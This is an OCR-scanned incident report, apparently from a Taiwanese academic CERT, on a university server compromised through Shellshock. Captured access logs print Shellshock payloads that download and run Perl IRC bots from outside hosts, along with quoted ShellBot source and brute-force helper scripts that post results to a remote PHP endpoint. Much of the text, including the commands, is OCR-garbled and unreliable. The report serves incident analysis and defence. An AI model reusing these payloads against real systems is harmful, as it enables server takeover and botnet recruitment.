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Subject: SSH brute-force from your network / domain (140 )

An attempt to brute-force account passwords over SSH/FTP by a machine in your domain or in your network has been detected. Attached are the host who
attacks and time / date of activity. Please take the necessary action(s) to stop this activity immediately. If you have any questions please reply to this email.

Host of attacker: 140. => edu tw => .edu tw Responsible email contacts: edutw, maas o8 edu.tw,
hostmaster@twnic.net.tw Attacked hosts in our Network: 85.158.183.151, 85.158.181.13, 77.75.249.123, 185.39.221.95, 1/8.250.12.20, 77.75.253.27,
77.75.249.50, 178.250.10.232, 85.158.183.99, 77.75.252.137, 85.158.183.67, 77.75.254.103, 77.75.254.15, 185.39.221.41, 77.75.252.59, 77.75.252.118,
178.250.10.88, 178.250.10.93, 185.39.221.78, 85.158.181.35, 178.250.10.242, 85.158.182.236, 77.75.253.67, 85.158.182.207, 77.75.253.74, 77.75.251.127,
178.250.10.159, 77.75.255.213, 178.250.10.162, 77.75.254.17, 85.158.176.26, 77.75.253.87, 85.158.176.105, 77.75.249.242, 85.158.182.69, 85.158.182.219,
185.39.221.126, 85.158.176.75, 77.75.254.122, 85.158.183.158, 85.158.182.193, 77.75.254.110, 85.158.183.166, 77.75.255.211, 185.39.220.84,
85.158.177.253, 77.75.252.163, 85.158.181.63, 77.75.251.136, 85.158.183.176, 77.75.250.185, 178.250.10.167, 85.158.176.219, 77.75.254.215,
77.75.251.243, 77.75.252.89, 85.158.181.31, 178.250.10.100, 85.158.181.18, 77.75.249.44, 185.39.221.104, 77.75.254.129, 77.75.255.220, 178.250.9.24,
85.158.176.90, 85.158.176.159, 77.75.251.135, 178.250.10.174, 85.158.183.61, 85.158.182.85, 85.158.183.180, 178.250.10.112, 85.158.181.12,
178.250.10.64, 85.158.176.36, 77.75.249.73, 185.39.220.10, 85.158.183.120, 185.39.221.109, 178.250.12.5, 77.75.250.226, 85.158.176.114, 85.158.180.2,
85.158.176.225, 85.158.183.211, 77.75.249.103, 85.158.182.166, 178.250.10.155, 178.250.14.16, 178.250.10.11, 77.75.253.169, 77.75.250.224,
178.250.10.101, 77.75.249.23, 178.250.12.18, 85.158.183.191, 185.39.221.72, 85.158.181.16, 77.75.252.115, 85.158.181.29, 178.250.14.11, 85.158.179.20,
77.75.250.79, 77.75.254.217, 77.75.255.36, 77.75.251.63, 77.75.253.202, 77.75.248.118, 85.158.176.186, 185.39.221.122, 77.75.251.49, 185.39.221.35,
77.75.252.209, 77.75.250.60, 77.75.249.151, 178.250.10.180, 185.39.221.121, 85.158.181.19, 178.250.9.82, 178.250.12.19, 85.158.183.193, 77.75.252.24,
178.250.10.150, 77.75.254.83, 77.75.250.14, 85.158.176.137, 77.75.250.47, 77.75.252.198, 85.158.183.224, 77.75.249.11, 77.75.250.54, 178.250.10.214,
77.75.251.148, 85.158.183.159, 178.250.9.92, 77.75.250.112, 77.75.254.73, 77.75.254.74, 85.158.176.226, 77.75.250.94, 85.158.182.195, 178.250.10.84,
185.39.221.27, 77.75.251.27, 85.158.176.211, 178.250.10.36, 77.75.249.200, 77.75.254.168, 185.39.221.66, 77.75.250.239, 178.250.10.99, 85.158.183.214,
77.75.249.140, 85.158.183.141, 85.158.176.117, 178.250.10.133, 77.75.252.78, 77.75.252.233, 178.250.10.173, 77.75.250.123, 185.39.220.90, 77.75.249.67,
77.75.250.160, 85.158.181.30, 77.75.251.205, 85.158.183.84
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1 Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address  State  PID/Program name
tep 0  0127.0.0.1:2208 0.0.0.0:* LISTEN  2644/hpiod
tep 0  0127.0.0.1:199 0.0.0.0:* LISTEN  2665/snmpd
- tep 0  00.0.0.0:5801 0.0.0.0:* LISTEN  3018/Xvnc
tep 0  00.0.0.0:7402 0.0.0.0°* LISTEN  3149/hptsvr
tep 0  00.0.0.0:3306 0.0.0.0:% LISTEN  2843/mysqld
tep 0 00.0.0.0:842 0.0.0.0%* LISTEN  2356/rpc.statd
tep 0  00.0.0.0:5901 0.0.0.0:* LISTEN  3018/Xvnc
10 tcp 0 00.0.0.0i111 0.0.0.0:* LISTEN  2310/portmap
tep 0  00.0.0.0:6001 0.0.0.0%% LISTEN  3018/Xvnc
tep 0 00.0.0.0:25 0.0.0.0:* LISTEN  2872/sendmail: acce
tep o o0::80 ur* LISTEN  z2gio/httpd
tep o o0::6001 ¥ LISTEN  3018/Xvnc
- tep o 022 ¥ LISTEN  2703/sshd
tep 0 01443 ¥ LISTEN  2qio/htipd
F1 5 7 Ex* httpd i zbPRFE 0 ik A xbihaccess log £.F 7 £ A -
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phpmyadmin 7 setup. php /& iF > & 3e4k bt v ¥

Vi —fﬁ jl]

5 A ¥
B

PR a0 4 pr g IR HITP 404 ehk &% -
- 110.45.136.50 - - [08/ 23:59:02 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1"464/304 "-" "Zm
- 110.45.136.50 - - [08/ 23:59:02 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404304 "-" "Zmk
- 10.45.136.50 - - [08/ 23:59:02 +0800] "GET /pma/scripts/setup.php HTTP/1.1" 404 297 "-" "ZmEu"
. 110.45.136.50 - - [08/ 23:59:02 +0800] "GET /myadmin/scripts/setup.php HTTP/11" 404/301 "-" "ZmFEu"
- 10.45.136.50 - - [08/ 23:59:02 +0800] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404/ 301 "-" "ZmEu"
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5.30.86.30 - - [02 = 2= " +0800] "GET /cgi-bin/test.sh HTTP/11" 200 175 "-" "() { 5};

fusr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS\";system(\"cd /tmp/; cd /var/tmp/ ;
wget http://209.20.86.222/j.txt; curl -O http://209.20.86.222/j.txt ; fetch http://209.20.86.222/j.txt ;
Iwp-download http://209.20.86.222/].txt; perl j.txt 50.57.187.242; rm -rf *.txt*\");"

539.86.39 - - [28 ™ 2§~ = +0800] "GET /cgi-bin/test.sh HTTP/11" 200 175 "-" "() { :3};

fusr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /tmp/; cd /var/tmp/ ;
- |wget http://200.20.86.222/j.txt: curl -O http://209.20.86.222/j.txt ; fetch http://200.20.86.222/].txt ;
Iwp-download http://209.20.86.222/].txt; perl j.txt 209.62.65.146; rm -rf *.txt*\");"

C R Ten 209.20.86. 222 ehEE i T T jotxt o H P F i perl 3@

EEBOHA o KT N F &SNS T € 1% 3l A S eport 80

fo 443 % IRC #IR B e (7w 47 -

1 #!/usr/bin/perl

my $processo =("[cpuset]","","[sync_supers]");
my @titi = ("index.php?page=","main.php?page=");
my $goni = stiti[rand scalar @titi];

- my slinas_max='3;

my $sleep='7';

my @adms=("x", "y", "z", "w" );

my @hostauth=("local");

my @canais=("#hax");

10 chop (my $nick = "uname’);

my $servidor="3.4.5.6";

my $ircname =("g");

my $realname = ("g");

my @ircport = ("80","443");

- my $porta = $ircport[rand scalar @ircport];
my $VERSAO = ‘0.5

SHAZ256: b2dc8fde31cedc3d/4d9chb0f4c8bd10e6b3820641690c4 1dcdd370a6280cH8c

File name Jtxt

Detection ratio 29/ 57

Analysis date: 20150302 02:56:11 UTC ( 0 minutes ago )

Analysis O Additional information ® Comments ) Votes

Antivirus Result

AlYac Backdoor.Perl.Shellbot.B
AVG PERL/ShellBot

AVware Backdoor Perl IRCBot.a (v)
Ad-Aware Backdoor.Perl.Shellbot.B
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1. 2% %3€.54.170. 156. 84 3% iF ik iF T

"http://202.144.144.163/guide/ ; * §*~ & Tb.pl, PR FH %

TP /tp, ¢ 0 X2 Fperl #% "bhopl o 2 EEE Tm -
rf /tmp/b. pl* ; #1% F fi%

)@

2. B ECT4.219.225. 231 F &Rk P Thttp://it-mattes.dey T -

B "q.jpg, FREFMEIP & "/top, ¢ 0 £ 2§45 perl 4

"q.jpg 26 EE "rm - rf /tmp/q. jpgk  #] TR

- - [29/Nov/2014:21:33:40 +0800] "GET /cgi-bin/test.sh HTTP/1.1" 200 16204 "-" '-;
- | fusr/bin/perl -e "print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSI\";

- |system(\"wget http://202.144.144.163/guide/b.pl -O /tmp/b.pl;curl -O /tmp/b.pl

X w_/guide/b.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\");"

- - [30/Nov/2014:20:43:55 +0800] "GET /cgi-bin/test.sh HTTP/1.1" 200 7516 "-" '
- | /usr/bin/perl -e "print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSI\";

- |system(\"wget http://it-mattes.de/q.jpg -O /tmp/q.jpg;curl -O [tmp/q.jpg
- |http:/ ﬁqipg;perl [tmp/q.jpg;rm -rf /tmp/q.jpg™\");"

3. HPlfn Thttp://202.144.144.163/ > HRHI TR 2 2

-

B> ANEFROFTAFET 6 > @ /guide/ P&TIrv M E
EEPIHFIHERAN Ve L TE N B L o

é )| @ http//202.144.144.163/ P~0 (@ :Staff Student Information... |

Username:

Password:

[] Remember me?



http://202.144.144.163/guide/
http://it-mattes.de/
http://202.144.144.163/

°<)|§; Titpy/202.144.144.163/quide/ O = Ci | @ Index of fguide ‘ ‘ N kL
2004.py 30-Nov-2014 08:20 7.0K ‘ A
@ 20091 16-Nov-2014 06:07 6.7M
@ a.out 01-Jan-2014 16:52 13K
ﬁ a.tgz 18-Nov-2014 01:00 44K
@ a.x 12-Dec-2014 17:50 20K
h audit.tar.gz 28-Dec-2013 04:21 43K
@ authorized keys 07-Oct-2014 02:09 397
@ biOS tar 09-Dec-2014 16:50 136K
bios.txt 18-Nov-2014 07:44 420K
4} bircd.tgz 08-Jan-2014 01:52 1.0M
h bot-stealth-flood.tgz 04-Dec-2014 16:50 383K
bot.pl 21-Nov-2014 23:34 38K
) bsd.ez 31-Tan-2014 05:08 1.7M
drona.php 12-Dec-2014 19:22 18K
eula 28-Nov-2014 01:36 31K
exploit.c 01-Dec-2014 01:37 19K (v
Me .

4, R4 R R Thttp://it-mattes. de | ehie B PRI xR £ *

P A E g EY @ R AR T Q. jpg ¢ B F

T o

it-mattes.de

Diese Webprasenz befindet sich noch im Aufbau.

Bitte versuchen Sie es zu einem spéateren Zeitpunkt noch einmal.
This site is currently under construction.

Please try again later.
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http://it-mattes.de/

1.

SHA256: 6a0ef8f3f22d991486¢d30b1a1f887a4e50d35a1e51646b2180353e39468186

File name: b

Detection ratio: 28/ 56

Analysis date: 2014-12-29 11:25:03 UTC ( 2 months ago )

Analysis @ File detail © Additional information ® Comments ° ) Votes

Antivirus Result

AVG Linux/BF.F

AVware HackTool.Linux.BF.e (v)
Ad-Aware Linux.CornelGEN.235
Agnitum HackTool.Linux.BF.C
Antiy-AVL HackTool/Linux.BF

pass. txt ¥ it & iobkd BRI R EL RS 0 A Ah s f S AR
fiér*f AT ARk 0 R8T, 221, 192. 63 P~ 7 & Fr 4 mfz 0 [P T
7~ scan. log» A FAEDRFTH T » t.log: L BENF
print # t. log @ 3 IP 109. 228. 25. 87/. p. php i& (7 Heijc > & 15 € #-

P ink Sl AR

1 #!/bin/bash i o o - l/béso
I Config - wget http:/// htaccess/ip/s1 - sleep 60
rm -of . fy.txt* - curl-O http://37.221192.63/.htaccess/ip/s1 - 'rmrftlog
rm -1f test . - fetch hitp://37.221192.63/ htaccess/ip/s1 - catvulntxt | cut-d" " -fi2 —output-d=: > tlog
- rm rf scan.log %% f - sleep3 - laat nobash.txt | cut-d " " -fi,2,3 —output-d=: >>t.log
- rm-rf*pscan* - cat $1* [sort -u > scan.log - sleeps
- rmrfvulnox - sleeps3 - | jprint
- rm -rf nobash.txt - mmofst
- rm-rf scan.log session.txt - sleepa
10 20
1 #!/bin/bash - if which fetch >/dev/null; then
- foriin cat tlog|sort|uniq’
if which wget >/dev/null; then - do
= - curl -O http://109.228.25.87/ p.php?request="$1" &>/dev/null&
- foriin "cat tlog|sort|uniq’ .« rm-rfsi
do - done
wget -O .tmp http://109.228.25.87/ . p.phpirequest="si" &>/dev/null&
done
10 else

if which curl »/dev/null; then %% p ri nt

- foriincat tlog|sort|uniq’

do

curl -O http://109.228.25.87/.p.php?request="5i" &>/dev/null&
rm -rf si

done

20 ielse
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9. sl A F # 4 Shellshock e # 3P » Shellshock * 4
Bashdoor » #_% Unix ® B £ * ¢ Bash shell ? - B& > & F
Pt 2014 F 90 24 p O o F S RmpRTEFR R FIR

B
B> %% bash kEJL & & & 4 > J&A fcé’ﬁi?—‘ﬁ % % 5% sz # ch Bash

A HEEL A BT R E AAREONRT BT
o

10. 2% % 1516 # =k | P & 0 http://[host]/chi-bin/test. sh >
FEERET FAREH T ZIPIE MY T30 > 4 B4 7 bash o

%}f] QE‘ 3@ /%/ﬁf f‘ °

LIS @ hitp.//140.

SERVER_SIGNATURE=
Apaches2.2.3 (CentO0S) Server at 140. Fore 80

HTTP_TISER_AGENT=Hozilla/5.0 (Windows NT 6.3; WOWE4; Trident/7.0; rv:11.0% like Gecko
SERVER_PORT=80

HTTP_HOST=140.

DOCUMENT _ROOT=/war fwww/htnl
SCRIPT_FILENAME=/var/www/czi-binftest.sh
REQUEST_URI=/cgi-bin/test.sh
SCRIPT_NAME=/cgi-bin/test.gh
HITP_CONNECTION=Keep-Alive

RENOTE_PORT=64250

PATH=/gbin:/uzr/ebin: /bin:fuar/bin
PUD=/var/www/cegi-bin
SERVEE_ADMIN=root@localhoat

HTTP_ACCEPT LANGUAGE=zh-Hant-TW,zh-Hant;q=0.5
HTTP_DNT=1

HITP_ACCEPT=text/html, application/xhtml+xml, */*
REMOTE_LDDE=140.

SHLVL=1

SERVER_NAME=140.

SERVER_SOFTWARE=fpache/2.2.3 (Cent(S)
QUERY_STRING=

SERVER_LDDE=140.

GATEWAY_INTERFACE=CGI/1.1
SERVER_FROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip, deflate
REQUEST_METHOD=GET

_=fuaribinfeny
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12. f % B8 F 3 ¢ Shellshock siFiF > 2 i ¥ 12 & linux
console T 454 "env VAR="() { ::;}; echo Bash is vulnerable!’
bash -c¢ "echo Bash Test" ;> 4r% Bash & 3 R3] ¢ HR LT
3 & "Bash is vulnerable! Bash Test ;o

13. 4 > 3 Pl & 3 - #7Bash "% & T & AT > 11t Cent0S % 5L 3 & ¥

& % Tyum update bash | ¥ 121345 ot iFF o
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STEP 3
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— Port 80 - 443
STEP 5 >

SSH brute-force B8 =R IWeb I #

IRC servers:
TEP 4 .
Port22  140XXY (TANET) B0 0, 50.57.187.242 (£E)
Victims HTTP Method  209.62.65.146 ()
STEP 6
[E13R SSH % #% B ThAY E & E
HTTP Method

& £ A ch 48 T%T%%?%?ﬁIPE’\J(;&C:‘_ )
109.228.25.87/.p.php (¥:E) 37.221.192.63 (fERIE= I 1)
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j.txt ~b.pl & q. jpg °

3. FEXTipy gtk IRC A4 port80 & 443 & (74F | & iF o
4. ELAESY 4% ¥ GC TP uafraiy [P FH{frF &L B o
D. T AR e T~ £ [P 27 SSH brute-force sLji# -
6. TRk fE b a4 SSH R 5L % 45 HTTP w 3R 46 @ et
109. 228. 25. 877/. p. php #H 1z °
V. B
A. =22 i 88 % ¢ 5 Shellshock if i 5<% -
B. wocfehp AR - P E D4 B PR S8 HTTP 71
BASH Shell ik #4724 42 » B & 425% ©
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F. ¥ gLE35 24 i %24 Access log » it B fedh » ™ iy o
G. B % Shellshock =ifii %-8ce 7 4L [PS & IDS % & 2P RIF| > Fcp 1

ERYVAFRIPPREENARFE 2 FTLELE -

V. Shellshock #p B F#id %

L.

TACERT - [i&iF s ] GNU Bash 7+ &8 R '& CVE-2014-6271 £ CVE-
2014-7169 (ShellShock)3s g (2014-09-26)

€ http://cert. tanet. edu. tw/prog/showrpt. php?id=2859

TWNCERT - GNU Bash  ‘Shellshock’ 35 g% { #7 (2014/10/2)

€ http://www. twncert. org. tw/NewInfoDetail. aspx?seq=1434&lan
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3. iThome - Linux * gx= & ! Shellshock if ik e1ig 48 475 |
€ http://www. ithome. com. tw/news/91180
4. ¥ & % 34 Shellshock & iF
€ http://www. hkcode. com/1inux-bsd-notes/855
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